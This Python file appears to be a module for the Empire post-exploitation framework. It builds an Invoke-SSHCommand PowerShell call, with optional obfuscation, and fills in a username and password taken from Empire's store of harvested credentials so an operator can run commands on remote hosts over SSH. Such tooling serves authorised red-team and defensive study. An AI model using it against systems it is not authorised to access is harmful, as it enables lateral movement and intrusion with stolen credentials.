invoke_sshcommand.py

from empire.server.common.empire import MainMenu
from empire.server.core.db.base import SessionLocal
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message


class Module:
    @staticmethod
    def generate(
        main_menu: MainMenu,
        module: EmpireModule,
        params: dict,
        obfuscate: bool = False,
        obfuscation_command: str = "",
    ):
        # read in the common module source code
        script, err = main_menu.modulesv2.get_module_source(
            module_name=module.script_path,
            obfuscate=obfuscate,
            obfuscate_command=obfuscation_command,
        )

        if err:
            return handle_error_message(err)

        script_end = "\nInvoke-SSHCommand "

        # if a credential ID is specified, try to parse
        cred_id = params["CredID"]
        if cred_id != "":
            with SessionLocal() as db:
                cred = main_menu.credentialsv2.get_by_id(db, cred_id)

                if not cred:
                    return handle_error_message("[!] CredID is invalid!")

                if cred.username != "":
                    params["Username"] = str(cred.username)
                if cred.password != "":
                    params["Password"] = str(cred.password)

        if params["Username"] == "":
            return handle_error_message(
                "[!] Either 'CredId' or Username/Password must be specified."
            )
        if params["Password"] == "":
            return handle_error_message(
                "[!] Either 'CredId' or Username/Password must be specified."
            )

        for option, values in params.items():
            if (
                option.lower() != "agent"
                and option.lower() != "credid"
                and values
                and values != ""
            ):
                if values.lower() == "true":
                    # if we're just adding a switch
                    script_end += " -" + str(option)
                else:
                    script_end += " -" + str(option) + " " + str(values)

        return main_menu.modulesv2.finalize_module(
            script=script,
            script_end=script_end,
            obfuscate=obfuscate,
            obfuscation_command=obfuscation_command,
        )